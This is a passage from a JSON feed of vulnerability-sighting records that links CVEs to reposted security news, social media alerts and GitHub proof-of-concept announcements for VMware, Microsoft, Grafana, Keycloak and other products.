CVE-2022-22958).\n\nVMware also patched high and medium severity bugs that could be exploited for Cross-Site Request Forgery (CSRF) attacks (CVE-2022-22959), escalate privileges (CVE-2022-22960), and gain access to information without authorization (CVE-2022-22961).\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png \nThe complete list of VMware products impacted by these security vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Identity Manager (vIDM)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nThe company added that it found no evidence of these bugs being exploited in the wild before today\u2019s security advisory\u00a0was published. VMware\u2019s knowledgebase website\u00a0also has a complete list of fixed versions and download links to hotfix installers.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Workaround also availableVMware also provides workarounds for those who cannot immediately patch their appliances as a temporary solution. The steps detailed here\u00a0require admins to run a VMware-provided Python-based script on affected virtual appliances.\n\nHowever, the company says that the only way to remove the vulnerabilities entirely is to apply the patches.\n\n\u201cWorkarounds, while convenient, do not remove the vulnerabilities, and may introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this issue.\u201d\n\nA document with additional questions and answers regarding the critical vulnerabilities patched today is available here.\n\nOn Monday, VMware also released security updates to address the critical Spring4Shell RCE flaw in VMware Tanzu Application Service for VMs, VMware Tanzu Operations Manager, and VMware Tanzu Kubernetes Grid Integrated Edition (TKGI). See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22961", "author": {"login": "automation"}}, {"uuid": "13d07dda-0f78-42ba-9a9b-befe58193d42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:03.542828+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49022", "content": "Black Hat Ethical Hacking\nVMware warns of critical vulnerabilities in multiple products\n\nVMware warns of critical vulnerabilities in multiple productsPost Views: 27 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png Advanced Enumeration techniques with NMAP, Zenmap and Hydra\n\nSubscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nVMware has warned customers to immediately patch critical vulnerabilities in multiple products that threat actors could use to launch remote code execution attacks.\n\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA-2021-0011. The ramifications of this vulnerability are serious,\u201d VMware warned\u00a0on Wednesday.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d Patches for five critical vulnerabilitiesThe list of critical security flaws patched today includes a server-side template injection remote code execution vulnerability (CVE-2022-22954), two OAuth2 ACS authentication bypass vulnerabilities (CVE-2022-22955, CVE-2022-22956), and two JDBC injection remote code execution vulnerabilities (CVE-2022-22957, CVE-2022-22958).\n\nVMware also patched high and medium severity bugs that could be exploited for Cross-Site Request Forgery (CSRF) attacks (CVE-2022-22959), escalate privileges (CVE-2022-22960), and gain access to information without authorization (CVE-2022-22961).\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png \nThe complete list of VMware products impacted by these security vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Identity Manager (vIDM)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nThe company added that it found no evidence of these bugs being exploited in the wild before today\u2019s security advisory\u00a0was published. VMware\u2019s knowledgebase website\u00a0also has a complete list of fixed versions and download links to hotfix installers.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Workaround also availableVMware also provides workarounds for those who cannot immediately patch their appliances as a temporary solution. The steps detailed here\u00a0require admins to run a VMware-provided Python-based script on affected virtual appliances.\n\nHowever, the company says that the only way to remove the vulnerabilities entirely is to apply the patches.\n\n\u201cWorkarounds, while convenient, do not remove the vulnerabilities, and may introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this issue.\u201d\n\nA document with additional questions and answers regarding the critical vulnerabilities patched today is available here.\n\nOn Monday, VMware also released security updates to address the critical Spring4Shell RCE flaw in VMware Tanzu Application Service for VMs, VMware Tanzu Operations Manager, and VMware Tanzu Kubernetes Grid Integrated Edition (TKGI). See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22958", "author": {"login": "automation"}}, {"uuid": "86563479-d455-4365-80d8-14fcdfcedb4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:30:22.836876+00:00", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/bvj7u6uvyezu5", "content": "CVE-2026-86151 - Tenda CP3 Network Configuration Management system.c sub_2F77E8 os command injection\nCVE ID : CVE-2026-86151\n \n Published : Sept. 6, 2026, 12:16 a.m. | 1\u00a0hour, 10\u00a0minutes ago\n \n Description : A vulnerability was detected in Tenda CP3 27.5.57.101. The affected e...", "vulnerability": "CVE-2026-86151", "author": {"login": "automation"}}, {"uuid": "fef2c232-c3ec-4f36-9dca-f4e1c36f5328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:15:19.755539+00:00", "type": "seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3mussy2vkob23", "content": "Cisco Patches Critical RCE in Nexus 9000 Switches \u2014 Cisco has patched a CVSS 9.8 flaw in ten Silicon One Nexus 9000 switches\u2026 https://0daynews.com/articles/2026-09-04-cisco-nexus-9000-cve-2026-20212-critical-rce?utm_source=bluesky&utm_medium=organic_social&utm_campaign=always_on&utm_content=hub-953", "vulnerability": "cve-2026-20212", "author": {"login": "automation"}}, {"uuid": "6af7ff52-33de-4cfe-ba5d-a65cd51a5cef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:11:45.020074+00:00", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117221431981419648", "content": "CVE-2026-13447 - Critical Auth Bypass in FluxBuilder Mstore API WordPress plugin via JWT forgery. CVSS 9.8. Unpatched! Mitigate immediately. #CVE #WordPress #infosec\nhttps://www.valtersit.com/cve/CVE-2026-13447/", "vulnerability": "CVE-2026-13447", "author": {"login": "automation"}}, {"uuid": "1e9b8b1a-4d09-424b-a880-5a0f63c8b213", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:11:44.761046+00:00", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mussropm2t2m", "content": "CVE-2026-13447 - Critical Auth Bypass in FluxBuilder Mstore API WordPress plugin via JWT forgery. CVSS 9.8. Unpatched! Mitigate immediately. #CVE #WordPress #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-13447/", "vulnerability": "CVE-2026-13447", "author": {"login": "automation"}}, {"uuid": "059878e9-7c4b-4657-a0f9-f4f4ea9e89ea", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "creation_timestamp": "2026-09-06T01:01:10.959756+00:00", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3728a227-1873-4466-9e2b-f17600951034", "content": "", "vulnerability": "CVE-2026-9586", "author": {"login": "automation"}}, {"uuid": "c2dbd96d-d5c3-44c4-b003-544cb9cef205", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "creation_timestamp": "2026-09-06T01:01:08.142240+00:00", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/9ca79fa9-7df5-424d-9576-bf58d5f74196", "content": "", "vulnerability": "CVE-2019-10655", "author": {"login": "automation"}}, {"uuid": "2a30f6ff-7175-48e5-bd1f-14e8b99873cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:34.390528+00:00", "type": "seen", "source": "https://thehackernews.com/2026/09/critical-vmware-workstation-and-fusion.html", "content": "Broadcom has released security updates for two security flaws impacting VMware Workstation and Fusion, including one critical bug that could result in arbitrary code execution under certain conditions.\n\nThe vulnerability, tracked as CVE-2026-59346 (CVSS score: 9.3), is an integer-overflow vulnerability that a local attacker with elevated privileges can exploit to run arbitrary code.\n\n\"A", "vulnerability": "CVE-2026-59346", "author": {"login": "automation"}}, {"uuid": "2ad32710-aaa5-481c-b9af-3d2f48fa1f05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:34.203257+00:00", "type": "seen", "source": "https://www.securityweek.com/elementor-pro-wordpress-plugin-vulnerability-exploited-to-hack-sites/", "content": "Tracked as CVE-2026-32475 (CVSS score of 9.8), the bug described as an arbitrary file upload issue in the function that handles form submissions.\n\nThe post Elementor Pro WordPress Plugin Vulnerability Exploited to Hack Sites appeared first on SecurityWeek.", "vulnerability": "CVE-2026-32475", "author": {"login": "automation"}}, {"uuid": "94e97955-f36b-48ad-9f5a-030ead6e8e85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:34.060586+00:00", "type": "seen", "source": "https://thehackernews.com/2026/09/attackers-exploit-papercut-flaws-to.html", "content": "Threat actors are exploiting the newly disclosed PaperCut flaws to facilitate credential theft in attacks targeting the education sector in the U.S. and Europe.\n\nThe Arctic Wolf Adversary Research Team said it observed attackers exploiting CVE-2026-81578 and CVE-2026-82078 \u2013 an authentication bypass and remote code execution chain \u2013 to conduct command execution and reconnaissance, as well as", "vulnerability": "CVE-2026-82078", "author": {"login": "automation"}}, {"uuid": "d3691865-3998-4239-ac3e-1eaca33ed656", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:34.002828+00:00", "type": "seen", "source": "https://thehackernews.com/2026/09/attackers-exploit-papercut-flaws-to.html", "content": "Threat actors are exploiting the newly disclosed PaperCut flaws to facilitate credential theft in attacks targeting the education sector in the U.S. and Europe.\n\nThe Arctic Wolf Adversary Research Team said it observed attackers exploiting CVE-2026-81578 and CVE-2026-82078 \u2013 an authentication bypass and remote code execution chain \u2013 to conduct command execution and reconnaissance, as well as", "vulnerability": "CVE-2026-81578", "author": {"login": "automation"}}, {"uuid": "b0753462-4b32-487c-b746-7c1b6de905c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:05.407156+00:00", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101307", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27876\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a atiilla\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-05 23:50:41\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nGrafana SQL Expressions Arbitrary File Write to RCE\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "vulnerability": "CVE-2026-27876", "author": {"login": "automation"}}, {"uuid": "31dea46d-85fa-47ae-9485-37665df54f10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:05.358033+00:00", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101291", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-64747\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a eddinos2\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-05 20:23:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRoot cause + macOS reachability PoC for CVE-2026-64747 (AppleAVE2 kext buffer overflow, fixed 26.6 / 905.40.1). Fully reversed AppleAVE2UserClient wire protocol, mode-5 LRB overflow math, IOKit PoC driving the configure path.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "vulnerability": "CVE-2026-64747", "author": {"login": "automation"}}, {"uuid": "48fe2224-dc74-4b62-9898-4fb762d70705", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:05.312357+00:00", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101290", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-1529-Keycloak-Exploit-Tool\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xlyvio\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-05 20:54:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nKeycloak: Unauthorized organization registration via improper invitation token validation\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "vulnerability": "CVE-2026-1529", "author": {"login": "automation"}}, {"uuid": "153227e1-d9d3-433e-abc6-66fe08080496", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:05.274290+00:00", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101292", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #SSRF #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2020-10770-keycloak-exploit-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xlyvio\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-05 20:57:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nKeycloak Blind SSRF POC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "vulnerability": "CVE-2020-10770", "author": {"login": "automation"}}, {"uuid": "7f500495-4e85-457d-945f-fb015b91ed94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:05.239286+00:00", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101303", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-73570\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a juanpoch\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-05 22:58:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nZimbra Collaboration Suite RCE \u2014 SMTP log poisoning \u2192 swatchdog \u2192 OS Command Injection (CVSS 8.9, CISA KEV)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "vulnerability": "CVE-2026-73570", "author": {"login": "automation"}}, {"uuid": "23a1e6f7-dd9e-4328-a699-94b462542ed9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:05.205228+00:00", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101304", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-28956-jxl-messages-surface\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a eddinos2\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Objective-C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-05 22:53:30\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nJPEG XL auto-decodes in the iOS Messages preview path \u2014 delivery-surface finding for CVE-2026-28956 (AppleJPEGXL), with patch-diff attribution (libjxl 0.10.4->0.10.5) and an honest reliability check on the public PoC.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "vulnerability": "CVE-2026-28956", "author": {"login": "automation"}}, {"uuid": "6e9b526e-5543-44a5-ace2-6369ad049ed6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:05.157242+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49990", "content": "Black Hat Ethical Hacking\nMicrosoft Zero-Days, Wormable Bugs Spark Concern\n\nMicrosoft Zero-Days, Wormable Bugs Spark ConcernPost Views: 31 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Patreon-2.png Subscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nMicrosoft has released patches for 128 security vulnerabilities for its April 2022\u00a0monthly scheduled update\u00a0\u2013 ten of them rated critical (including three wormable code-execution bugs that require no user interaction to exploit).\nThere are also two important-rated zero-days that allow privilege escalation, including one listed as under active exploit.\n\nThe bugs in the update are found across the portfolio, including in Microsoft Windows and Windows Components, Microsoft Defender and Defender for Endpoint, Microsoft Dynamics, Microsoft Edge (Chromium-based), Exchange Server, Office and Office Components, SharePoint Server, Windows Hyper-V, DNS Server, Skype for Business, .NET and Visual Studio, Windows App Store and Windows Print Spooler Components.\n\n\u201cThis large volume of patches hasn\u2019t been seen since the fall of 2020. However, this level is similar to what we saw in the first quarter of last year,\u201d Dustin Childs, researcher at Trend Micro\u2019s Zero Day Initiative, said in a blog\u00a0breaking down the fixes.\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Zero-Day PatchesThe vulnerability that\u2019s been exploited in the wild ahead of patching allows privilege escalation, and is tracked as CVE-2022-24521. It rates 7.8 out of 10 on the CVSS vulnerability-severity scale. It\u2019s listed as a \u201cWindows Common Log File System Driver Execution Vulnerability,\u201d and was reported to Microsoft by the National Security Agency.\n\n\u201cIt\u2019s not stated how widely the exploit is being used in the wild, but it\u2019s likely still targeted at this point and not broadly available,\u201d Childs noted. \u201cGo patch your systems before that situation changes.\u201d\n\nResearchers noted that attackers are likely pairing it with a separate code-execution bug in their campaigns. For that reason, Immersive Labs\u2019 Kevin Breen, director of cyber-threat research, places the actively exploited bug at the top of the priority list for patching.\n\n\u201cBeing the type of vulnerability for escalating privileges, this would indicate a threat actor is currently using it to aid lateral movement to capitalize on a pre-existing foothold,\u201d he explained.\n\nThe second zero-day is found in the Windows User Profile Service, and is tracked as CVE-2022-26904.\n\nIt also allows privilege escalation, and rates a CVSS score of 7. Even though it\u2019s listed as exploitation more likely, it has a high attack complexity, Microsoft noted in its advisory, because \u201csuccessful exploitation of this vulnerability requires an attacker to win a race condition.\u201d\n\nEven so, researchers at Tripwire noted that exploit code is available for the bug, including in the Metasploit framework.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH See Also: Offensive Security Tool: Scapy Critical Concerns for AprilOut of the critical flaws, all of which allow remote code-execution (RCE), researchers flagged a bug that could allow for self-propagating exploits (CVE-2022-26809) as being of the most concern.\n\nIt exists in the Remote Procedure Call (RPC) Runtime Library, and rates 9.8 out of 10 on the CVSS scale, with exploitation noted as more likely. If exploited, a remote attacker could execute code with high privileges.\n\nDanny Kim, principal architect at Virsec, noted that the vulnerability is specifically found in Microsoft\u2019s Server Message Block (SMB) fu[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-24521", "author": {"login": "automation"}}, {"uuid": "781044d8-f253-4c84-b563-895d8f1d2aeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:05.108487+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49990", "content": "Black Hat Ethical Hacking\nMicrosoft Zero-Days, Wormable Bugs Spark Concern\n\nMicrosoft Zero-Days, Wormable Bugs Spark ConcernPost Views: 31 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Patreon-2.png Subscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nMicrosoft has released patches for 128 security vulnerabilities for its April 2022\u00a0monthly scheduled update\u00a0\u2013 ten of them rated critical (including three wormable code-execution bugs that require no user interaction to exploit).\nThere are also two important-rated zero-days that allow privilege escalation, including one listed as under active exploit.\n\nThe bugs in the update are found across the portfolio, including in Microsoft Windows and Windows Components, Microsoft Defender and Defender for Endpoint, Microsoft Dynamics, Microsoft Edge (Chromium-based), Exchange Server, Office and Office Components, SharePoint Server, Windows Hyper-V, DNS Server, Skype for Business, .NET and Visual Studio, Windows App Store and Windows Print Spooler Components.\n\n\u201cThis large volume of patches hasn\u2019t been seen since the fall of 2020. However, this level is similar to what we saw in the first quarter of last year,\u201d Dustin Childs, researcher at Trend Micro\u2019s Zero Day Initiative, said in a blog\u00a0breaking down the fixes.\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Zero-Day PatchesThe vulnerability that\u2019s been exploited in the wild ahead of patching allows privilege escalation, and is tracked as CVE-2022-24521. It rates 7.8 out of 10 on the CVSS vulnerability-severity scale. It\u2019s listed as a \u201cWindows Common Log File System Driver Execution Vulnerability,\u201d and was reported to Microsoft by the National Security Agency.\n\n\u201cIt\u2019s not stated how widely the exploit is being used in the wild, but it\u2019s likely still targeted at this point and not broadly available,\u201d Childs noted. \u201cGo patch your systems before that situation changes.\u201d\n\nResearchers noted that attackers are likely pairing it with a separate code-execution bug in their campaigns. For that reason, Immersive Labs\u2019 Kevin Breen, director of cyber-threat research, places the actively exploited bug at the top of the priority list for patching.\n\n\u201cBeing the type of vulnerability for escalating privileges, this would indicate a threat actor is currently using it to aid lateral movement to capitalize on a pre-existing foothold,\u201d he explained.\n\nThe second zero-day is found in the Windows User Profile Service, and is tracked as CVE-2022-26904.\n\nIt also allows privilege escalation, and rates a CVSS score of 7. Even though it\u2019s listed as exploitation more likely, it has a high attack complexity, Microsoft noted in its advisory, because \u201csuccessful exploitation of this vulnerability requires an attacker to win a race condition.\u201d\n\nEven so, researchers at Tripwire noted that exploit code is available for the bug, including in the Metasploit framework.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH See Also: Offensive Security Tool: Scapy Critical Concerns for AprilOut of the critical flaws, all of which allow remote code-execution (RCE), researchers flagged a bug that could allow for self-propagating exploits (CVE-2022-26809) as being of the most concern.\n\nIt exists in the Remote Procedure Call (RPC) Runtime Library, and rates 9.8 out of 10 on the CVSS scale, with exploitation noted as more likely. If exploited, a remote attacker could execute code with high privileges.\n\nDanny Kim, principal architect at Virsec, noted that the vulnerability is specifically found in Microsoft\u2019s Server Message Block (SMB) fu[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-26809", "author": {"login": "automation"}}, {"uuid": "3eaa2d9f-6724-4202-81ca-63ba9c28dfc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:05.062091+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49990", "content": "Black Hat Ethical Hacking\nMicrosoft Zero-Days, Wormable Bugs Spark Concern\n\nMicrosoft Zero-Days, Wormable Bugs Spark ConcernPost Views: 31 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Patreon-2.png Subscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nMicrosoft has released patches for 128 security vulnerabilities for its April 2022\u00a0monthly scheduled update\u00a0\u2013 ten of them rated critical (including three wormable code-execution bugs that require no user interaction to exploit).\nThere are also two important-rated zero-days that allow privilege escalation, including one listed as under active exploit.\n\nThe bugs in the update are found across the portfolio, including in Microsoft Windows and Windows Components, Microsoft Defender and Defender for Endpoint, Microsoft Dynamics, Microsoft Edge (Chromium-based), Exchange Server, Office and Office Components, SharePoint Server, Windows Hyper-V, DNS Server, Skype for Business, .NET and Visual Studio, Windows App Store and Windows Print Spooler Components.\n\n\u201cThis large volume of patches hasn\u2019t been seen since the fall of 2020. However, this level is similar to what we saw in the first quarter of last year,\u201d Dustin Childs, researcher at Trend Micro\u2019s Zero Day Initiative, said in a blog\u00a0breaking down the fixes.\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Zero-Day PatchesThe vulnerability that\u2019s been exploited in the wild ahead of patching allows privilege escalation, and is tracked as CVE-2022-24521. It rates 7.8 out of 10 on the CVSS vulnerability-severity scale. It\u2019s listed as a \u201cWindows Common Log File System Driver Execution Vulnerability,\u201d and was reported to Microsoft by the National Security Agency.\n\n\u201cIt\u2019s not stated how widely the exploit is being used in the wild, but it\u2019s likely still targeted at this point and not broadly available,\u201d Childs noted. \u201cGo patch your systems before that situation changes.\u201d\n\nResearchers noted that attackers are likely pairing it with a separate code-execution bug in their campaigns. For that reason, Immersive Labs\u2019 Kevin Breen, director of cyber-threat research, places the actively exploited bug at the top of the priority list for patching.\n\n\u201cBeing the type of vulnerability for escalating privileges, this would indicate a threat actor is currently using it to aid lateral movement to capitalize on a pre-existing foothold,\u201d he explained.\n\nThe second zero-day is found in the Windows User Profile Service, and is tracked as CVE-2022-26904.\n\nIt also allows privilege escalation, and rates a CVSS score of 7. Even though it\u2019s listed as exploitation more likely, it has a high attack complexity, Microsoft noted in its advisory, because \u201csuccessful exploitation of this vulnerability requires an attacker to win a race condition.\u201d\n\nEven so, researchers at Tripwire noted that exploit code is available for the bug, including in the Metasploit framework.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH See Also: Offensive Security Tool: Scapy Critical Concerns for AprilOut of the critical flaws, all of which allow remote code-execution (RCE), researchers flagged a bug that could allow for self-propagating exploits (CVE-2022-26809) as being of the most concern.\n\nIt exists in the Remote Procedure Call (RPC) Runtime Library, and rates 9.8 out of 10 on the CVSS scale, with exploitation noted as more likely. If exploited, a remote attacker could execute code with high privileges.\n\nDanny Kim, principal architect at Virsec, noted that the vulnerability is specifically found in Microsoft\u2019s Server Message Block (SMB) fu[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-26904", "author": {"login": "automation"}}, {"uuid": "6ff73e7f-989d-4fca-b1d6-dcf9197f9cb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T01:00:05.016308+00:00", "type": "seen", "source": 